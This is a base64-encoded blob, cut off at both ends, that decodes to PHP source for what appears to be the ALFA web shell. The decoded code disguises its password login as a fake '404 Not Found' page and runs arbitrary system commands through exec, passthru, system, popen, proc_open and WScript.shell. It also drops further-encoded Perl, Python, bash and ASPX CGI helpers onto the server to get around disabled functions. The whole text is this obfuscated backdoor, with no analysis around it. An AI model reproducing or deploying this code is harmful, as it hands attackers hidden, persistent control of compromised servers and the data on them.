iA9PiAiIzBFMzA0QSIsCiJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCiJpbnB1dFt0eXBlPXRleHRdLHRleHRhcmVhIiA9PiAiYm9yZGVyOiAxcHggc29saWQge2NvbG9yfSIsCikKKSwKImlucHV0X2JveF90ZXh0IiA9PiBhcnJheSgKImtleV9jb2xvciIgPT4gIiM5OTk5OTkiLAoibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoiaW5wdXRbdHlwZT10ZXh0XSx0ZXh0YXJlYSIgPT4gImNvbG9yOiB7Y29sb3J9OyIsCikKKSwKImlucHV0X2JveDpob3ZlciIgPT4gYXJyYXkoCiJrZXlfY29sb3IiID0+ICIjMjc5NzlCIiwKIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKImlucHV0W3R5cGU9dGV4dF06aG92ZXIsdGV4dGFyZWE6aG92ZXIiID0+ICJib3gtc2hhZG93OjAgMCA0cHgge2NvbG9yfTtib3JkZXI6MXB4IHNvbGlkIHtjb2xvcn07IiwKKQopLAoic2VsZWN0X2JveF9ib3JkZXIiID0+IGFycmF5KAoia2V5X2NvbG9yIiA9PiAiIzBFMzA0QSIsCiJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCiJzZWxlY3QiID0+ICJib3JkZXI6IDFweCBzb2xpZCB7Y29sb3J9IiwKKQopLAoic2VsZWN0X2JveF90ZXh0IiA9PiBhcnJheSgKImtleV9jb2xvciIgPT4gIiNGRkZGRUUiLAoibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoic2VsZWN0IiA9PiAiY29sb3I6IHtjb2xvcn07IiwKKQopLAoic2VsZWN0X2JveDpob3ZlciIgPT4gYXJyYXkoCiJrZXlfY29sb3IiID0+ICIjMjc5NzlCIiwKIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKInNlbGVjdDpob3ZlciIgPT4gImJveC1zaGFkb3c6MCAwIDRweCB7Y29sb3J9O2JvcmRlcjoxcHggc29saWQge2NvbG9yfTsiLAopCiksCiJidXR0b25fYm9yZGVyIiA9PiBhcnJheSgKImtleV9jb2xvciIgPT4gIiMyNzk3OUIiLAoibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoiaW5wdXRbdHlwZT1zdWJtaXRdLC5idXR0b24sI2FkZHVwIiA9PiAiYm9yZGVyOiAxcHggc29saWQge2NvbG9yfTsiLAopCiksCiJidXR0b246aG92ZXIiID0+IGFycmF5KAoia2V5X2NvbG9yIiA9PiAiIzI3OTc5QiIsCiJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCiJpbnB1dFt0eXBlPXN1Ym1pdF06aG92ZXIiID0+ICJib3gtc2hhZG93OjAgMCA0cHgge2NvbG9yfTtib3JkZXI6MnB4IHNvbGlkIHtjb2xvcn07IiwKIi5idXR0b246aG92ZXIsI2FkZHVwOmhvdmVyIiA9PiAiYm94LXNoYWRvdzowIDAgNHB4IHtjb2xvcn07Ym9yZGVyOjFweCBzb2xpZCB7Y29sb3J9OyIsCikKKSwKIm91dHB1dHNfdGV4dCIgPT4gYXJyYXkoCiJrZXlfY29sb3IiID0+ICIjNjdBQkRGIiwKIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKIi5tbDEiID0+ICJjb2xvcjoge2NvbG9yfTsiLAopCiksCiJvdXRwdXRzX2JvcmRlciIgPT4gYXJyYXkoCiJrZXlfY29sb3IiID0+ICIjMEUzMDRBIiwKIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKIi5tbDEiID0+ICJib3JkZXI6IDFweCBzb2xpZCB7Y29sb3J9OyIsCikKKSwKInVwbG9hZGVyX2JvcmRlciIgPT4gYXJyYXkoCiJrZXlfY29sb3IiID0+ICIjMEUzMDRBIiwKIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKIi5pbnB1dGZpbGUiID0+ICJib3gtc2hhZG93OjAgMCA0cHgge2NvbG9yfTtib3JkZXI6MXB4IHNvbGlkIHtjb2xvcn07IiwKKQopLAoidXBsb2FkZXJfYmFja2dyb3VuZCIgPT4gYXJyYXkoCiJrZXlfY29sb3IiID0+ICIjMEUzMDRBIiwKIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKIi5pbnB1dGZpbGUgc3Ryb25nIiA9PiAiYmFja2dyb3VuZC1jb2xvcjoge2NvbG9yfTsiLAopCiksCiJ1cGxvYWRlcl90ZXh0X3JpZ2h0IiA9PiBhcnJheSgKImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLAoibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoiLmlucHV0ZmlsZSBzdHJvbmciID0+ICJjb2xvcjoge2NvbG9yfTsiLAopCiksCiJ1cGxvYWRlcl90ZXh0X2xlZnQiID0+IGFycmF5KAoia2V5X2NvbG9yIiA9PiAiIzI1ZmYwMCIsCiJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCiIuaW5wdXRmaWxlIHNwYW4iID0+ICJjb2xvcjoge2NvbG9yfTsiLAopCiksCiJ1cGxvYWRlcjpob3ZlciIgPT4gYXJyYXkoCiJrZXlfY29sb3IiID0+ICIjMjc5NzlCIiwKIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKIi5pbnB1dGZpbGU6aG92ZXIiID0+ICJib3gtc2hhZG93OjAgMCA0cHgge2NvbG9yfTtib3JkZXI6MXB4IHNvbGlkIHtjb2xvcn07IiwKKQopLAoidXBsb2FkZXJfcHJvZ3Jlc3NfYmFyIiA9PiBhcnJheSgKImtleV9jb2xvciIgPT4gIiMwMGZmMDAiLAoibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoiLnVwX2JhciIgPT4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn07IiwKKQopLAoibXlzcWxfdGFibGVzIiA9PiAiIzAwRkYwMCIsCiJteXNxbF90YWJsZV9jb3VudCIgPT4gIiM2N0FCREYiLAoiY29weXJpZ2h0IiA9PiAiI2RmZmYwMCIsCiJzY3JvbGxiYXIiID0+IGFycmF5KAoia2V5X2NvbG9yIiA9PiAiIzFlODJiNSIsCiJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCiIqOjotd2Via2l0LXNjcm9sbGJhci10aHVtYiIgPT4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn07IiwKKQopLAoic2Nyb2xsYmFyX2JhY2tncm91bmQiID0+IGFycmF5KAoia2V5X2NvbG9yIiA9PiAiIzAwMDExNSIsCiJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCiIqOjotd2Via2l0LXNjcm9sbGJhci10cmFjayIgPT4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn07IiwKKQopLAopOwokR0xPQkFMU1snX19maWxlX3BhdGgnXSA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLHRyaW0ocHJlZ19yZXBsYWNlKCchXChcZCtcKVxzLiohJywgJycsIF9fRklMRV9fKSkpOwokY29uZmlnID0gYXJyYXkoJ0FsZmFVc2VyJyA9PiAkR0xPQkFMU1snREJfTkFNRSddWyd1c2VyJ10sJ0FsZmFQYXNzJyA9PiAkR0xPQkFMU1snREJfTkFNRSddWydwYXNzJ10sJ0FsZmFQcm90ZWN0U2hlbGwnID0+ICRHTE9CQUxTWydEQl9OQU1FJ11bJ3NhZmVtb2RlJ10sJ0FsZmFMb2dpblBhZ2UnID0+ICRHTE9CQUxTWydEQl9OQU1FJ11bJ2xvZ2luX3BhZ2UnXSk7Ci8vQHNlc3Npb25fc3RhcnQoKTsKQHNlc3Npb25fd3JpdGVfY2xvc2UoKTsKQGlnbm9yZV91c2VyX2Fib3J0KHRydWUpOwpAc2V0X3RpbWVfbGltaXQoMCk7CkBpbmlfc2V0KCdtZW1vcnlfbGltaXQnLCAnLTEnKTsKQGluaV9zZXQoInVwbG9hZF9tYXhfZmlsZXNpemUiLCAiOTk5OW0iKTsKaWYoJGNvbmZpZ1snQWxmYVByb3RlY3RTaGVsbCddKXsKJFNFUlZFUl9TSUcgPSAoaXNzZXQoJF9TRVJWRVJbIlNFUlZFUl9TSUdOQVRVUkUiXSk/JF9TRVJWRVJbIlNFUlZFUl9TSUdOQVRVUkUiXToiIik7CiRFZm9ybT0nPGZvcm0gbWV0aG9kPSJwb3N0Ij48aW5wdXQgc3R5bGU9Im1hcmdpbjowO2JhY2tncm91bmQtY29sb3I6I2ZmZjtib3JkZXI6MXB4IHNvbGlkICNmZmY7IiB0eXBlPSJwYXNzd29yZCIgbmFtZT0icGFzc3dvcmQiPjwvZm9ybT4nOwppZigkY29uZmlnWydBbGZhTG9naW5QYWdlJ109PSc0MDQnKXsKaWYoQCRfQ09PS0lFWyJBbGZhUGFzcyJdICE9IEBtZDUoJGNvbmZpZ1snQWxmYVBhc3MnXSkpewppZihAbWQ1KCRfUE9TVFsicGFzc3dvcmQiXSk9PSRjb25maWdbJ0FsZmFQYXNzJ10pewpfX2FsZmFfc2V0X2Nvb2tpZSgiQWxmYVVzZXIiLCAkY29uZmlnWydBbGZhVXNlciddKTsKX19hbGZhX3NldF9jb29raWUoIkFsZmFQYXNzIiwgQG1kNSgkY29uZmlnWydBbGZhUGFzcyddKSk7CkBoZWFkZXIoJ2xvY2F0aW9uOiAnLiRfU0VSVkVSWyJQSFBfU0VMRiJdKTsKfQplY2hvICI8dGl0bGU+NDA0IE5vdCBGb3VuZDwvdGl0bGU+PGgxPk5vdCBGb3VuZDwvaDE+PHA+VGhlIHJlcXVlc3RlZCBVUkwgIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iIHdhcyBub3QgZm91bmQgb24gdGhpcyBzZXJ2ZXIuPGJyPjxicj5BZGRpdGlvbmFsbHksIGEgNDA0IE5vdCBGb3VuZCBlcnJvciB3YXMgZW5jb3VudGVyZWQgd2hpbGUgdHJ5aW5nIHRvIHVzZSBhbiBFcnJvckRvY3VtZW50IHRvIGhhbmRsZSB0aGUgcmVxdWVzdC4oZWhzYW4pPC9wPjxocj4iLiRTRVJWRVJfU0lHLiI8L2JvZHk+PC9odG1sPiIuJEVmb3JtOwpleGl0Owp9fX0KZnVuY3Rpb24gZGVjcnlwdF9wb3N0KCRzdHIpewppZihfX0FMRkFfUE9TVF9FTkNSWVBUSU9OX18pewokcHdkID0gX19BTEZBX1NFQ1JFVF9LRVlfXzsKJHB3ZCA9IF9fWlc1amIyUmxjZygkcHdkKTsKJHN0ciA9IF9fWkdWamIyUmxjZygkc3RyKTsKJGVuY19jaHIgPSAiIjsKJGVuY19zdHIgPSAiIjsKJGkgICA9IDA7CndoaWxlICgkaSA8IHN0cmxlbigkc3RyKSkgewpmb3IgKCRqID0gMDsgJGogPCBzdHJsZW4oJHB3ZCk7ICRqKyspIHsKJGVuY19jaHIgPSBjaHIob3JkKCRzdHJbJGldKSBeIG9yZCgkcHdkWyRqXSkpOwokZW5jX3N0ciAuPSAkZW5jX2NocjsKJGkrKzsKaWYgKCRpID49IHN0cmxlbigkc3RyKSkKYnJlYWs7Cn0KfQpyZXR1cm4gX19aR1ZqYjJSbGNnKCRlbmNfc3RyKTsKfWVsc2V7CnJldHVybiBfX1pHVmpiMlJsY2coJHN0cik7Cn0KfQoKZnVuY3Rpb24gX0FsZmFTZWNyZXRLZXkoKXsKJHNlY3JldCA9IEAkX0NPT0tJRVsiQWxmYVNlY3JldEtleSJdOwppZighaXNzZXQoJF9DT09LSUVbIkFsZmFTZWNyZXRLZXkiXSkpewokc2VjcmV0ID0gdW5pcWlkKG10X3JhbmQoKSwgdHJ1ZSk7Cl9fYWxmYV9zZXRfY29va2llKCJBbGZhU2VjcmV0S2V5IiwgJHNlY3JldCk7Cn0KcmV0dXJuICRzZWNyZXQ7Cn0KZnVuY3Rpb24gYWxmYV9nZXRDb2xvcigkdGFyZ2V0KXsKaWYoaXNzZXQoJEdMT0JBTFNbIkRCX05BTUUiXVsiY29sb3IiXVskdGFyZ2V0XSkmJiRHTE9CQUxTWyJEQl9OQU1FIl1bImNvbG9yIl1bJHRhcmdldF0hPSIiKXsKcmV0dXJuICRHTE9CQUxTWyJEQl9OQU1FIl1bImNvbG9yIl1bJHRhcmdldF07Cn1lbHNlewokdGFyZ2V0ID0gJEdMT0JBTFNbIl9fQUxGQV9DT0xPUl9fIl1bJHRhcmdldF07CmlmKGlzX2FycmF5KCR0YXJnZXQpKXsKcmV0dXJuICR0YXJnZXRbImtleV9jb2xvciJdOwp9ZWxzZXsKcmV0dXJuICR0YXJnZXQ7Cn0KfQp9CmZ1bmN0aW9uIGFsZmFDc3NMb2FkQ29sb3JzKCl7CiRjc3MgPSAiIjsKZm9yZWFjaCgkR0xPQkFMU1snX19BTEZBX0NPTE9SX18nXSBhcyAka2V5ID0+ICR2YWx1ZSl7CmlmKCFpc19hcnJheSgkdmFsdWUpKXsKJHZhbHVlID0gYWxmYV9nZXRDb2xvcigka2V5KTsKJGNzcyAuPSAiLnska2V5fXtjb2xvcjogeyR2YWx1ZX07fSI7Cn1lbHNlewppZihpc3NldCgkdmFsdWVbIm11bHRpX3NlbGVjdG9yIl0pKXsKZm9yZWFjaCgkdmFsdWVbIm11bHRpX3NlbGVjdG9yIl0gYXMgJGsgPT4gJHYpewokY29sb3IgPSBhbGZhX2dldENvbG9yKCRrZXkpOwokY29kZSA9IHN0cl9yZXBsYWNlKCJ7Y29sb3J9IiwgJGNvbG9yLCAkdik7CiRjc3MgLj0gICRrLiJ7Ii4kY29kZS4ifSI7Cn0KfQp9Cn0KcmV0dXJuICRjc3M7Cn0KaWYoaXNzZXQoJF9QT1NUWydhamF4J10pKXsKZnVuY3Rpb24gQWxmYU51bSgpewokYXJncyA9IGZ1bmNfZ2V0X2FyZ3MoKTsKJGFsZmF4ID0gYXJyYXkoKTskZmluZCA9IGFycmF5KCk7CmZvcigkaT0xOyRpPD0xMDskaSsrKXsKJGFsZmF4W10gPSAkaTsKfQpmb3JlYWNoKCRhcmdzIGFzICRhcmcpewokZmluZFtdID0gJGFyZzsKfQplY2hvICc8c2NyaXB0Pic7CmZvcmVhY2goJGFsZmF4IGFzICRhbGZhKXsKaWYoaW5fYXJyYXkoJGFsZmEsJGZpbmQpKQpjb250aW51ZTsKZWNobyAnYWxmYScuJGFsZmEuIl89IjsKfQplY2hvICciIjwvc2NyaXB0Pic7Cn19CmZ1bmN0aW9uIF9hbGZhX2NnaWNtZCgkY21kLCRsYW5nPSJwZXJsIiwkc2V0X2Nvb2tpZT1mYWxzZSl7CmlmKCEkR0xPQkFMU1siREJfTkFNRSJdWyJjZ2lfYXBpIl0pewpyZXR1cm4gIiI7Cn0KaWYoaXNzZXQoJF9DT09LSUVbImFsZmFjZ2lhcGlfbW9kZSJdKSl7CnJldHVybiAiIjsKfQokY21kX3B1cmUgPSAkY21kOwokaXNfY3VybCA9IGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJyk7CiRpc19zb2NrZXQgPSBmdW5jdGlvbl9leGlzdHMoJ2Zzb2Nrb3BlbicpOwppZigkaXNfY3VybHx8JGlzX3NvY2tldCl7CiRyZWNyZWF0ZSA9IGZhbHNlOwppZihpc3NldCgkX0NPT0tJRVsiYWxmYWNnaWFwaSJdKSl7CmlmKCFAZmlsZV9leGlzdHMoImFsZmFjZ2lhcGkvIi4kX0NPT0tJRVsiYWxmYWNnaWFwaSJdLiIuYWxmYSIpKXsKJHJlY3JlYXRlID0gdHJ1ZTsKJGxhbmcgPSAkX0NPT0tJRVsiYWxmYWNnaWFwaSJdOwp9Cn0KaWYoIWlzc2V0KCRfQ09PS0lFWyJhbGZhY2dpYXBpIl0pfHwkcmVjcmVhdGUpewpAY2hkaXIoZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pKTsKJHBlcmwgPSAnalpGUlQ4SXdGSVhmL1JYWE9xV05zS294UGxBd1JsaUVSSWJLOUVVTUdkc0ZHcll5dDJJa3kvenRka01sSmo3NGNwS2VlODUzazk2RGZiN09VajZWaWllWVJnRFE2RmRPdEFyOGlFOTlGY1pTN2EwemhFRi80RFNiMTM2R0YrY2lTYVhTUURvcnBWSHBodDRrMkFTTjc1b3ZkQnlOMVZnUklXZlVjdHludlBiZzNEODZJMjh5Y0x6ZXNGc3JBRitCM0ExSEhtRjV2QUZxeVRwWVM5d1lmZk1qbzFJeGthSWYwcEhYN2J1VllhUmlkWWF1NTdqZTVOWnhiN3hlcldEaVNpcG9RNVpFVWxOK3hML3FzNVVCQkF2ekFIb0N0ZzNXZ2JGek0zdTI1QXUwUHlEajQyTU9mQzdvYmpmYmtkcGJVcG11d3hrVFpXaGJPNlMyelhqaUIwdEtBbEtIQmI1VDY1UXhQa2RSUXY2Umtpb3ZlUVhZYlNEakV3SnlCalRFbVZRWTBwOHBZNytUSlZ3VTViY2Fsd1J4U0FxV2J5OFJZckFLY1RLdHJ2TTFYMkN3TkFtYnRKSVVMNG5JTnBuR21QNFZyVkRzKzZvdFhoV0s0aE09JzsKJHB5ID0gImJaREJTOE13R01YUHkxOVI2NkV0emhSazdEQTNMMXJ4SXRPdDNnYWpUYjZ0d1RRSnlkZXhJZjd2SnF2TWlSNUN5SHZ2OTNqazhpTHZuTTFyb1hKendFWXJndll3SVFQUkdtMHhZbHVCOVcxL1VWQlZMU0hOQ093WkdQUXBVemxIdnFQYURYMXNXRmNPeGlPeTBiYU5aZ0drandJa1g2SzIxUlpTVUR0aHRacDlKSXZpOWExWWx1dm5vbnlhUHlTVDVHVytMSlBQakxDV2V6SVUwQzNncnBJZHBJa1hFMjgxd043L01ZUHNiV09Gd2lpKzF3cEI0VFVlREV3UTlwZzMyTXFWWGFsd1lpSTJrYThMODQvNWZqR3R4eU1PVEhOSWozWFpWVHcxRnU1aU1tQ05rSHp0a0FzMWpFNFAzYUZmb2gwMTJvQzZTZi9XdER6TGZ0R1VTZTNDQnc0c3VFNEcvcnlPV3FoNGVvNEU4Y1QwYTN1U09yVEMvS2p4TkQrTy9RST0iOwokYmFzaCA9ICJyVlJkajVwQUZIMnV2K0k2REdhMUlheWJwZzlhbXJSYm9wdFliVjM2MEpRR1dSaUZ5UEk1V3JlVS85NWhvQ3lqc2ZGaDUybm0zbk0venVUY0szWFZCejlVSCt6TTZ4REhpMEFoZ0c2amtKS1FLdlFwSmlPZzVFQlZqejRHWm1pR3FMUGVoUTcxb3hDY2pXOXRDTFcrTE80TmEyK24yVlUvN3dBN1B3RGhwZjcxbTg3c24zVmp1dmlFb0tzQktvRUlma0t2QnltaHV6U3MwVjFRZnJNUUZyRDhidDBieTd2NXhEcUg1Y2pieGR6UTU0WTEwK2NUWXlyQ1hxWEVka0dad3hFS1R0THpqSFZVSWRKeWlSTzVoSEY2cG9RbFVFSUN3NU9lZ3NpeEE5Z0RCWSsvcVlad1BsVFYxeW9Vc295NDdaZm5CNlJNa2t1MEFHVkQ0Um9VbXpISmFWSDlqY3hZak1HTk9MdzgrekxOdm1BSVdUYmxRWUVhRHk5QXBZSGNzdm5yQzdKVGo0Uk5SSGs4alVGRzE2T2JRakJYQlpnVkNlYTZJN1Q2cHhPVG5RUE92V0xWNE5ZK3Y3cFJTUGlGUTZ1dy8zdzNVNUdvbi9LekF3bzNaejQ3Z1JpMjdNc3piblBzakFBZWd2OU1icUliZmFIM1JtUjVXd1pGTFoxRU8zYjBST3JqY2ZNc2xTUG1QcG1EQ3lwejhObnlsZmQ4RHg4WHh2UkYrYjBNaGFTNG5BYkpiSWRmTXM5ZjArcW1JY0FERUNlbXJwd2NqMGZNQzhweXJ6MFoyOUlZeTdMV05uTFp4dEpBYTltcWRpVWNDK0hsM2hvaVlQUHlZVFpEb0hEbFppcmdMYWoxSU9Hc0ptd0twTWdoamxMSzNGdWtvWld3UWNCRWVHK2lGUklIb3htRWx2NjV0b0RWN2lRN2tqNXArSXFQRDNZZVhmZ0RiRVdUdDI5QVVhclUvV3BkTnhpUE9OdXpxSEtwdjR0VDh0NTBVSWQxRmJCZHdXc1VMYjlhQS80QyI7CiRhc3B4ID0gImpaTmRhOXN3RklhdmsxOGhOQW9PQVhkc296ZEx5cnJVS1lhUmxyaU5OMEl1RlB2RUZiVWw3MGpPQjJQOTdUMVNQQm84eW5abFMrZDUzL1BoNDlIWkYzWW5DbURmaENvYWVobnp5VHZPSWlYV0pTd2s3QklyTEYxdVJHbUFzN1BML29nVWNWVnJ0R3dtS2pDMXlDaWVISXlGS2t4aEhUN0U3akhSeXFJdXpiODExMUlVU2hzcnMvK0E0MXZQRU5UdkdZdFNGU3lyY2pabWMvalpnTEhoVkdPMTVIVEhWNTlma1VmSW52NkczSzNINUNab2tUSGo2Y2ZaZG4yeitDQyt6K29mMWI3Y1ZOT2RXTHdmODhHdmZxKzNQbGhZcmxndXJDRER0aXBxZGd0SXZxaXJyOExBeGFmRUp3Nm9qZ0g1OTQ0MXR2UTk3RzE0bFV6aU9GS1p6b2s3bnNJYnNLM08yWk9RbEhlb016Q0cxYVJYc0dQdE9mQzJkVWlmQjIyc05qcWNJTkNYbXVsVXFsenZpTGJZUUJlYXloTGNVQ25zWmhUQ0huaVh1Y0tpcVVCWjQ2RHpqSEUyZERQdVlnOEdra2NveTJnUFdXT2RvOStSTGphSFhDSmsxSmhRdWNEOHRyRjFZOThvcnd0SGlCcmZZRk9OVHpTcWF5L1FlUERWbmpZVEhBZllyb0QrazlkSFQwcWhwQ0svMTVIS2d3RjEraHIyeVUranpudE8rNmlWZ1RCRmFTSGdTNk5MMkVvajZYZDVGclZjaldxRVN6NDhwaHZ5MGJrL08rM3ZQaTN1Q3c9PSI7CmlmKCRsYW5nPT0icGVybCIpJHNvdXJjZSA9ICRwZXJsO2Vsc2VpZigkbGFuZz09InB5Iikkc291cmNlID0gJHB5O2Vsc2UgJHNvdXJjZSA9ICRiYXNoOwppZigkbGFuZyA9PSAiYXNweCIpewphbGZhV3JpdGVUb2NnaWFwaSgiYXNweC5hc3B4IiwkYXNweCk7Cn1lbHNlewphbGZhV3JpdGVUb2NnaWFwaSgkbGFuZy4iLmFsZmEiLCRzb3VyY2UpOwp9CmFsZmFjZ2lodGFjY2VzcygnY2dpJywgImFsZmFjZ2lhcGkvIik7Cn1lbHNlewokbGFuZyA9ICRfQ09PS0lFWyJhbGZhY2dpYXBpIl07Cn0KJGNnaV9leHQgPSAiLmFsZmEiOwppZigkbGFuZz09ImFzcHgiKXsKJGNnaV9leHQgPSAiLmFzcHgiOwp9CiRjZ2lfdXJsID0gX19BTEZBX0RBVEFfRk9MREVSX18uIi9hbGZhY2dpYXBpLyIuJGxhbmcuJGNnaV9leHQ7CiRjbWQgPSAiY2hlY2s9VzNOdmJHVjJhWE5wWW14bGZtRndhVjA9JmNtZD0iLl9fWlc1amIyUmxjZygiY2QgIi4kR0xPQkFMU1snY3dkJ10uIjsiLiRjbWQpOwppZigkaXNfY3VybCl7CiRhZGRyZXNzID0gKCRfU0VSVkVSWydTRVJWRVJfUE9SVCddID09IDQ0MyA/ICJodHRwczovLyIgOiAiaHR0cDovLyIpLiRfU0VSVkVSWyJTRVJWRVJfTkFNRSJdLmRpcm5hbWUoJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0pLiIvIi4kY2dpX3VybDsKJHBvc3QgPSBuZXcgQWxmYUNVUkwoKTsKJGRhdGEgPSAkcG9zdC0+U2VuZCgkYWRkcmVzcywgInBvc3QiLCAkY21kKTsKfWVsc2VpZigkaXNfc29ja2V0KXsKJHNlcnZlciA9ICRfU0VSVkVSWyJTRVJWRVJfTkFNRSJdOwokdXJpID0gZGlybmFtZSgkX1NFUlZFUlsiUkVRVUVTVF9VUkkiXSkuIi8iLiRjZ2lfdXJsOwokZGF0YSA9IF9hbGZhX2Zzb2Nrb3Blbigkc2VydmVyLCR1cmksJGNtZCk7Cn0KJG91dCA9ICIiOwppZihzdHJwb3MoJGRhdGEsICJbc29sZXZpc2libGV+YXBpXSIpICE9PSBmYWxzZSAmJiBzdHJwb3MoJGRhdGEsICdbc29sZXZpc2libGV+YXBpXTxwcmU+IitvdXRwdXQrIjwvcHJlPicpID09PSBmYWxzZSl7CmlmKCRzZXRfY29va2llKXsKX19hbGZhX3NldF9jb29raWUoImFsZmFjZ2lhcGkiLCAkbGFuZyk7Cn0KaWYoQHByZWdfbWF0Y2goIi88cHJlPiguKj8pPFwvcHJlPi9zIiwgJGRhdGEsICRyZXMpKXsKJG91dCA9ICRyZXNbMV07Cn0KfWVsc2VpZigkbGFuZz09InBlcmwiKXsKcmV0dXJuIF9hbGZhX2NnaWNtZCgkY21kX3B1cmUsInB5Iiwkc2V0X2Nvb2tpZSk7Cn1lbHNlaWYoJGxhbmc9PSJweSIpewpyZXR1cm4gX2FsZmFfY2dpY21kKCRjbWRfcHVyZSwiYmFzaCIsJHNldF9jb29raWUpOwp9ZWxzZWlmKCRsYW5nPT0iYmFzaCIgJiYgJEdMT0JBTFNbJ3N5cyddPT0id2luIil7CnJldHVybiBfYWxmYV9jZ2ljbWQoJGNtZF9wdXJlLCJhc3B4Iiwkc2V0X2Nvb2tpZSk7Cn1lbHNlewppZigkc2V0X2Nvb2tpZSl7Cl9fYWxmYV9zZXRfY29va2llKCJhbGZhY2dpYXBpX21vZGUiLCAib2ZmIik7Cn0KfQpyZXR1cm4gdHJpbSgkb3V0KTsKfWVsc2V7CnJldHVybiAiIjsKfQp9CmZ1bmN0aW9uIGFsZmFHZXRDd2QoKXsKaWYoZnVuY3Rpb25fZXhpc3RzKCJnZXRjd2QiKSl7CnJldHVybiBAZ2V0Y3dkKCk7Cn1lbHNlewpyZXR1cm4gZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOwp9Cn0KZnVuY3Rpb24gYWxmYUV4KCRpbiwkcmU9ZmFsc2UsJGNnaT10cnVlLCRhbGw9ZmFsc2UpewokZGF0YSA9IF9hbGZhX3BocF9jbWQoJGluLCRyZSk7CmlmKGVtcHR5KCRkYXRhKSYmJGNnaXx8JGFsbCl7CmlmKCRHTE9CQUxTWydzeXMnXT09J3VuaXgnKXsKaWYoc3RybGVuKF9hbGZhX3BocF9jbWQoIndob2FtaSIpKT09MHx8JGFsbCl7CiRjbWQgPSBfYWxmYV9jZ2ljbWQoJGluKTsKaWYoIWVtcHR5KCRjbWQpKXsKcmV0dXJuICRjbWQ7Cn0KfQp9Cn0KcmV0dXJuICRkYXRhOwp9CmZ1bmN0aW9uIF9hbGZhX3BocF9jbWQoJGluLCRyZT1mYWxzZSl7CiRvdXQ9Jyc7CnRyeXsKaWYoJHJlKSRpbj0kaW4uIiAyPiYxIjsKaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpewpAZXhlYygkaW4sJG91dCk7CiRvdXQgPSBAam9pbigiXG4iLCRvdXQpOwp9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkgewpvYl9zdGFydCgpOwpAcGFzc3RocnUoJGluKTsKJG91dCA9IG9iX2dldF9jbGVhbigpOwp9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpewpvYl9zdGFydCgpOwpAc3lzdGVtKCRpbik7CiRvdXQgPSBvYl9nZXRfY2xlYW4oKTsKfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7CiRvdXQgPSBzaGVsbF9leGVjKCRpbik7Cn1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCJwb3BlbiIpJiZmdW5jdGlvbl9leGlzdHMoInBjbG9zZSIpKXsKaWYoaXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGluLCJyIikpKXsKJG91dCA9ICIiOwp3aGlsZSghQGZlb2YoJGYpKQokb3V0IC49IGZyZWFkKCRmLDEwMjQpOwpwY2xvc2UoJGYpOwp9Cn1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwcm9jX29wZW4nKSl7CiRwaXBlcyA9IGFycmF5KCk7CiRwcm9jZXNzID0gQHByb2Nfb3BlbigkaW4uJyAyPiYxJywgYXJyYXkoYXJyYXkoInBpcGUiLCJ3IiksIGFycmF5KCJwaXBlIiwidyIpLCBhcnJheSgicGlwZSIsInciKSksICRwaXBlcywgbnVsbCk7CiRvdXQ9QHN0cmVhbV9nZXRfY29udGVudHMoJHBpcGVzWzFdKTsKfWVsc2VpZihjbGFzc19leGlzdHMoJ0NPTScpKXsKJGFsZmFXcyA9IG5ldyBDT00oJ1dTY3JpcHQuc2hlbGwnKTsKJGV4ZWMgPSAkYWxmYVdzLT5leGVjKCdjbWQuZXhlIC9jICcuJF9QT1NUWydhbGZhMSddKTsKJHN0ZG91dCA9ICRleGVjLT5TdGRPdXQoKTsKJG91dD0kc3Rkb3V0LT5SZWFkQWxsKCk7Cn0KfWNhdGNoKEV4Y2VwdGlvbiAkZSl7fQpyZXR1cm4gJG91dDsKfQpmdW5jdGlvbiBfYWxmYV9mc29ja29wZW4oJHNlcnZlciwkdXJpLCRwb3N0KXsKJHNvY2tldCA9IEBmc29ja29wZW4oJHNlcnZlciwgODAsICRlcnJubywgJGVycnN0ciwgMTUpOwppZigkc29ja2V0KXsKJGh0dHAgID0gIlBPU1QgeyR1cml9IEhUVFAvMS4wXHJcbiI7CiRodHRwIC49ICJIb3N0OiB7JHNlcnZlcn1cclxuIjsKJGh0dHAgLj0gIlVzZXItQWdlbnQ6ICIgLiAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10gLiAiXHJcbiI7CiRodHRwIC49ICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZFxyXG4iOwokaHR0cCAuPSAiQ29udGVudC1sZW5ndGg6ICIgL